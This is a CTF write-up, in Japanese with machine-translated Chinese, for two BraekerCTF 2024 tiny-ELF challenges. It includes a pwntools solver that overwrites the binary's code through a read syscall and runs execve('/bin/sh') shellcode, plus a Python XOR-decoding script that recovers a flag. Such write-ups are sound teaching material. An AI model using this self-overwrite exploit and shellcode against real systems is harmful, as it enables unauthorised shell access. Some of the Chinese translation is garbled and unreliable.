BraekerCTF 2024 に参加しました。Tiny ELF の問題が非常に面白かったので Writeup を書きます。
我参加了 BraekerCTF 2024。我发现 Tiny ELF 问题非常有趣,所以我正在写一篇 Writeup。
もくじ 目录
Embryobot(Rev/Pwn) 胚胎机器人(Rev/Pwn)
“This part will be the head, ” the nurse explains. The proud android mother looks at her newborn for the first time. “However, ” the nurse continues, “we noticed a slight growing problem in its code. Don’t worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time.”
“这部分将是头部,”护士解释道。这位骄傲的机器人母亲第一次看到她的新生儿。 “然而,”护士继续说道,“我们注意到其代码中存在一个日益严重的问题。不用担心,我们对此有一个标准程序。人类只需要快速进行黑客攻击,它就会立即继续成长。”The hospital hired you to perform the procedure. Do you think you can manage?
医院雇用您来执行该程序。你觉得你能应付吗?The embryo is: f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==
这个胚胎是:
問題文として与えられた Base64 テキストをデコードすると、非常に小さいサイズの 32 bit ELF バイナリを入手できます。
通过解码作为问题陈述给出的 Base64 文本,您可以获得非常小的 32 位 ELF 二进制文件。
興味深いことに、ヘッダ内で定義されたエントリポイントのアドレスはファイルオフセット上で 0x23 でした。
有趣的是,标头中定义的入口点地址是文件偏移量上的 0x23。
また、ELF ヘッダを含むすべての領域に書き込みと実行アクセス権限が割り当てられていることがわかります。
您还可以看到所有区域(包括 ELF 标头)都被分配了写入和执行访问权限。
どうやら、ELF ヘッダ内のバイナリを実行コードとして解釈させることでこのような小さなバイナリを作成しているようです。
显然,这个小二进制文件是通过将 ELF 标头中的二进制文件解释为可执行代码来创建的。
このような Tiny ELF を作成するテクニックは以下のような記事にまとめられているようです。
创建这样一个 Tiny ELF 的技术似乎在以下文章中进行了总结。
参考:Tiny ELF Files: Revisited in 2021
参考:微小的 ELF 文件:2021 年重访
参考:A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux
参考:关于为 Linux 创建真正的青少年 ELF 可执行文件的旋风教程
今回のバイナリは Ghidra ではうまくディスアセンブルすることができませんでしたが、IDA を使用すると以下のようなコードを取得できました。
使用 Ghidra 无法成功反汇编该二进制文件,但使用 IDA 我能够获得以下代码。
上記の通り、エントリポイントとして指定されたアドレスから ELF ヘッダ内のコードを呼び出し、以下のようなコードを実行していることがわかります。
如上所示,从指定为入口点的地址调用ELF头中的代码,并执行下面的代码。
mov eax, 3 ; システムコール番号3 (sys_read)
mov ebx, 0 ; ファイルディスクリプタ0 (標準入力)
pop ecx
xor cl,cl
mov edx,0x18
int 0x80
add al, [eax]
add eax,[eax]
add [eax],eax
ここでは、ssize_t read(int fd, void buf[.count], size_t count);
であらわされる x86 の read システムコールが呼び出されます。
这里,调用了 x86 read 系统调用,以 ssize_t read(int fd, void buf[.count], size_t count);
表示。
edx に 0x18 が格納されることから、入力が可能なサイズは 0x18 バイトに限定されます。
由于 edx 中存储的是 0x18,因此可能的输入大小限制为 0x18 字节。
参考:read(2) – Linux manual page
参考: read(2) – Linux 手册页
ecx には通常入力されたバイト列を受け取るバッファのアドレスが指定されますが、pop ecx; xor cl,cl
というコードで取得できるアドレスが何を指すのかよくわかっていませんでした。
ecx 通常指定接收输入字节字符串的缓冲区的地址,但我并没有真正理解代码 pop ecx; xor cl,cl
所指向的地址。
まず、pop ecx
が実行されたときのスタックトップに何の値が入っているのか考えます。
首先,考虑执行 pop ecx
时堆栈顶部的值是什么。
このコードはエントリポイントから call で呼び出されているので、スタックトップには現在 return 先のアドレス(0x08048028) が格納されていると想定されます。
由于此代码是从带有call的入口点调用的,因此假设堆栈顶部当前存储返回目标地址(0x08048028)。
さらに、xor cl,cl
で ecx のアドレスの下位の 1 バイト分のみを 0 に置き換えます。
另外, xor cl,cl
仅将ecx地址的低字节替换为0。
これによって、pop ecx; xor cl,cl
は ecx レジスタにイメージベースを格納する処理であることがわかります。
这说明 pop ecx; xor cl,cl
是一个将图像库存储在ecx寄存器中的过程。
つまり、read で受け取った一連の入力はイメージベース 0x8048000 から 0x18 バイト分の領域まで格納されると考えられます。
换句话说,read 接收到的一系列输入将从图像基址 0x8048000 开始最多存储 0x18 字节。
システムコールを発行した次の実行アドレスは 0x8048010 なので、read でプロセスメモリ内の実行コードをオーバーライドすることで、任意の命令を実行できそうだということがわかります。
由于发出系统调用后的下一个执行地址是0x8048010,我们可以看到,通过使用read覆盖进程内存中的执行代码,似乎可以执行任意指令。
しかし、この程度のサイズの命令ではシェルコードを発行できません。
然而,这种大小的指令无法发出 shellcode。
この脆弱性を利用してどのようにシェルを取得するか考えます。
我们来思考一下如何利用这个漏洞来获取shell。
ここまでの想定が正しいか、gdb で動的解析を行いながら調べていきたいと思いますが、今回の問題バイナリは特殊な構造のためか、gdb で解析が上手く行えませんでした。
我想通过使用 gdb 进行动态分析来调查我到目前为止所做的假设是否正确,但也许因为所讨论的二进制文件具有特殊的结构,我无法使用 gdb 对其进行分析。
そこで、以下のアセンブリをビルドしたプログラムに対して解析を行います。
因此,我们将分析使用以下程序集构建的程序。
; nasm -f elf32 tmp.asm && ld -m elf_i386 -o tmp tmp.o
section .text
global _start
vlun:
mov eax, 3 ; システムコール番号3 (sys_read)
mov ebx, 0 ; ファイルディスクリプタ0 (標準入力)
pop ecx
xor cl,cl
mov edx,0x18
int 0x80
add al, [eax]
add eax,[eax]
add [eax],eax
_start:
call vlun
xor al, 0
ただし、nasm -f elf32 tmp.asm && ld -m elf_i386 -s -o tmp tmp.o
でビルドした状態では ELF ヘッダの領域に書き込みと実行権限がなく、問題バイナリと同じような挙動を再現できません。
但是,当使用 nasm -f elf32 tmp.asm && ld -m elf_i386 -s -o tmp tmp.o
构建时,ELF 标头区域没有写入和执行权限,并且无法重现与问题二进制文件类似的行为。
そこで、ELF ヘッダのオフセット 0x1C から取得したプログラムヘッダの先頭に 32bit ELF のフラグが格納されるオフセット 0x18 を足した値の 0x4c のバイト値を読み取りフラグの 0x4 から 0x7 に置き換えます。
因此,将从ELF头的偏移0x1C获得的程序头的开头加上存储32位ELF标志的偏移0x18而获得的值0x4c的字节值替换为读取标志0x4至0x7。
さらに、同じ要領で 2 番目のプログラムヘッダの値も書き換えます。
另外,以同样的方式重写第二个程序头的值。
参考:Executable and Linkable Format – Wikipedia
参考:可执行和可链接格式 – 维基百科
これによって、作成したプログラムでも ELF ヘッダの領域と .text セクションに書き込みと実行権限を割り当てることができました。
这允许我创建的程序为 ELF 标头区域和 .text 部分分配写入和执行权限。
このプログラムを gdb で解析すると、想定通りシステムコール発行時の書き込みバッファアドレスがベースアドレスに指定されていることを確認できます。
如果使用 gdb 分析该程序,可以确认发出系统调用时的写缓冲区地址被指定为基地址,正如预期的那样。
これに、python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*0 x18)' > data
で作成したバイトデータを入力として与えてみます。
让我们将 python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*0 x18)' > data
创建的字节数据作为输入。
すると、以下のように入力値でコードの置き換えに成功したことを確認できます。
然后,您可以确认代码已成功替换为输入值,如下所示。
シェルを取得する糸口を見つけるため、システムコールを発行した状態でレジスタに何の値が格納されているかを考えることにします。
为了找到获取 shell 的线索,让我们考虑一下发出系统调用时寄存器中存储了哪些值。
システムコールを発行した直後の時点では、ecx にベースアドレス、edx に 3 が格納されたままになっているはずです。
发出系统调用后,基地址仍应存储在 ecx 中,3 存储在 edx 中。
eax には read の戻り値である入力文字のサイズが格納されます。
eax存放的是输入字符的大小,也就是read的返回值。
ここから、例えば jmp ecx
を発行すると、オーバーライドした 0x18 バイト分の領域の先頭にジャンプして任意のコード実行につなげられそうだということがわかります。
从这里,您可以看到,如果您发出,例如 jmp ecx
,您可以跳转到被覆盖的 0x18 字节区域的开头并执行任意代码。
実際にエクスプロイトが通るか確認するため、試しに以下のコードを実行してみます。
要检查该漏洞是否确实有效,请尝试运行以下代码。
ここでは、b'\x90\x90\x90\x90\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xff\xe1'
という 18 バイト分のシェルコードをプログラムに送り込んでいます。
在这里,我们向程序发送名为 b'\x90\x90\x90\x90\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xff\xe1'
的 18 字节 shellcode。
edx と ecx レジスタはバイトサイズの都合で変えていませんが、sys_write システムコールを使用して ecx に格納されたままになっているベースアドレスのデータを標準入力に出力するコードを記載しています。
edx 和 ecx 寄存器不会因字节大小而改变,但我编写了使用 sys_write 系统调用将 ecx 中存储的基址数据输出到标准输入的代码。
from pwn import *
# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")
payload = asm(
"""
nop
nop
nop
nop
mov eax, 4
mov ebx, 1
int 0x80
jmp ecx
""")
p.send(payload)
p.interactive()
このスクリプトを実行してみると、nop から始まるバイトデータが標準入力に返されることを確認できます。
如果运行此脚本,您将看到从 nop 开始的字节返回到标准输入。
これで、jmp ecx
による任意のコード実行が可能なことを確認できました。
我们现在已经确认 jmp ecx
可以执行任意代码。
最後に、以下の Solver スクリプトでシェルを取得します。
最后,使用下面的 Solver 脚本获取 shell。
ここでは、jmp ecx
の次の命令アドレスに再度 read で読み取ったデータを 0x7f バイト分書き込むことで、シェルを取得するためのシェルコード実行につなげています。
这里,通过将再次读取的0x7f字节数据写入 jmp ecx
的下一个指令地址,我们就可以执行shell代码,获得shell。
from pwn import *
# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")
payload = asm(
"""
nop
nop
nop
nop
nop
nop
nop
mov al, 0x3
add ecx,0x12
mov dl, 0x7f
int 0x80
jmp ecx
""")
# print(shellcraft.sh())
shellcode = asm(
"""
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
""")
p.send(payload)
p.send(shellcode)
p.interactive()
この Solver を実行することで Flag を取得できます。
可以通过运行此求解器来获得标志。
Binary shrink(Rev) 二进制收缩(Rev)
After hearing about young computer problems, you have decided to become a computer shrink. Your first patient is a robot elf.
在听说了年轻的计算机问题后,您决定成为一名计算机专家。你的第一个病人是一个机器人精灵。“A little machine dream I keep having, ” she says. “But when it is over, I always forget the end. I’ve captured the dream’s program, but I don’t dare look”.
“我一直有一个小小的机器梦想,”她说。 “但当事情结束时,我总是忘记结局。我已经捕捉到了梦想的节目,但我不敢看”。Can you run the program for her? Are you able to figure out what’s in her memory right before execution stops?
你能为她运行这个程序吗?你能在行刑停止前找出她记忆中的内容吗?
問題バイナリとして与えられた ELF ファイルを実行すると、>:)
という文字列が出力されるのみでした。
当我执行作为问题二进制文件给出的 ELF 文件时,仅输出字符串 >:)
。
問題文を読むと、プログラム実行中のメモリに Flag が書き込まれるようです。
阅读问题陈述,似乎Flag是在程序运行时写入内存的。
こんなの gdb で余裕、、、かと思いきや、前問と同じく Tiny ELF のテクニックを使用しており、gdb ではうまく解析ができませんでした。
我认为 gdb 对于这样的事情就足够了,但是就像在上一个问题中一样,我使用了 Tiny ELF 技术,而 gdb 无法很好地解析它。
エントリポイントは 0x8048009 になっています。
入口点是0x8048009。
このままだとデコンパイラでも objdump でも正しいコードを取得できないので、dd if=binary_shrink of=outdata bs=1 skip=9
で先頭部分をカットした上で objdump -D -Mintel,x86-64 -b binary -m i386 outdata
によりアセンブリを取得します。
如果继续这样下去,反编译器和 objdump 都无法获取正确的代码,因此用 dd if=binary_shrink of=outdata bs=1 skip=9
剪切开头部分,并用 objdump -D -Mintel,x86-64 -b binary -m i386 outdata
获取程序集。
とりあえず元ファイルのオフセット 58(0x31+9) のアドレスをコールするところから始まっているようですが、その後の処理は上手くディスアセンブルされていないようです。
看起来是从调用原文件偏移58(0x31+9)处的地址开始的,但后续的处理似乎没有正确反汇编。
そこで次は、dd if=binary_shrink of=outdata bs=1 skip=58
コマンドで 58(0x31+9) バイト目からのデータを取得して解析します。
接下来,使用 dd if=binary_shrink of=outdata bs=1 skip=58
命令检索并分析从字节 58(0x31+9) 开始的数据。
恐らくスタックトップに入っているエントリポイントの次の実行アドレスを rdx に pop した後、rax に rdx を格納し、その後 0x78(0x3e+58) のアドレスに jmpしているようです。
看来是把栈顶入口点的下一个执行地址弹出到rdx后,将rdx存到rax中,然后jmping到地址0x78(0x3e+58)。
同じ要領で、dd if=binary_shrink of=outdata bs=1 skip=120
で抜き出した次のコードをディスアセンブルします。
以同样的方式反汇编以下 dd if=binary_shrink of=outdata bs=1 skip=120
中提取的代码。
いくつかの処理を行った後に XOR の演算をループしているようです。
似乎在进行一些处理后循环执行 XOR 操作。
実際にビルドできるコードではないですが、ここまでの一連のコードを書き起こしてみました。
虽然它不是实际可以构建的代码,但到目前为止我已经转录了代码序列。
section .text
global _start
first:
pop rdx
mov rax,rdx
jmp second
second:
add rdx,0x91
sub rax,0xe
mov rsi,rax
xor ecx,ecx
mov cl,0x56
mov rax,rsi
point:
mov sil,BYTE PTR [rax]
xor BYTE PTR [rdx],sil
xor QWORD PTR [rdx],0x42
inc rdx
inc rax
loop point
_start:
call first
rax と rdx にはスタックトップに存在していたエントリポイントの次の命令アドレスが格納されているはずです。
rax 和 rdx 应包含位于堆栈顶部的入口点之后的下一条指令的地址。
そのため、sub rax,0xe
にて rax にイメージベースのアドレスが格納され、add rdx,0x91
では rdx に イメージベース + 0xe + 0x91
のアドレスが格納されそうです。
因此,镜像基址的地址将存储在 sub rax,0xe
中的rax中, イメージベース + 0xe + 0x91
的地址将存储在 add rdx,0x91
中的rdx中。
ループ区間では、rax と rdをインクリメントしながら、rax のアドレスの値を 0x42 で XOR して rdx のアドレスに書き込む処理を 0x56 回行うようです。
在循环部分中,似乎在递增rax和rd的同时,将rax的地址的值与0x42进行异或并写入rdx的地址0x56次。
実際にこのようなバイナリ操作を行う以下の Solver を作成しました。
我创建了以下实际执行此类二元运算的求解器。
with open("binary_shrink", "rb") as f:
data = bytearray(f.read()) + bytearray([0 for i in range(0x100)])
rax = 0
rdx = 0xe + 0x91
with open("generated_binary", "wb") as f:
for i in range(0x56):
data[rdx] = data[rdx] ^ data[i]
data[rdx] = data[rdx] ^ 0x42
rdx += 1
f.write(data)
ここで出力したバイナリの命令を読むと、bad data だった箇所が jmp 命令に置き換えられています。
如果您阅读此处的二进制指令输出,就会发现坏数据部分已被 jmp 指令替换。
jmp 先のコードを読むと、0xa293a3e つまり ):>\n
を出力するコードでした。
当我读到jmp前面的代码时,这是一段输出0xa293a3e的代码,即 ):>\n
。
このコードが実行されているタイミングのメモリ情報は、復号されたバイナリをプロセスメモリに展開した状態と一致するので、このバイナリデータから Flag を取得できました。
执行此代码时的内存信息与解密的二进制文件扩展到进程内存的状态相匹配,因此我们能够从该二进制数据中获取 Flag。
まとめ 概括
Tiny ELF については全く知見がなかったので勉強になりました。
我对Tiny ELF一无所知,所以我学到了很多东西。
原文始发于kashiwaba-yuki:BraekerCTF 2024 Writeup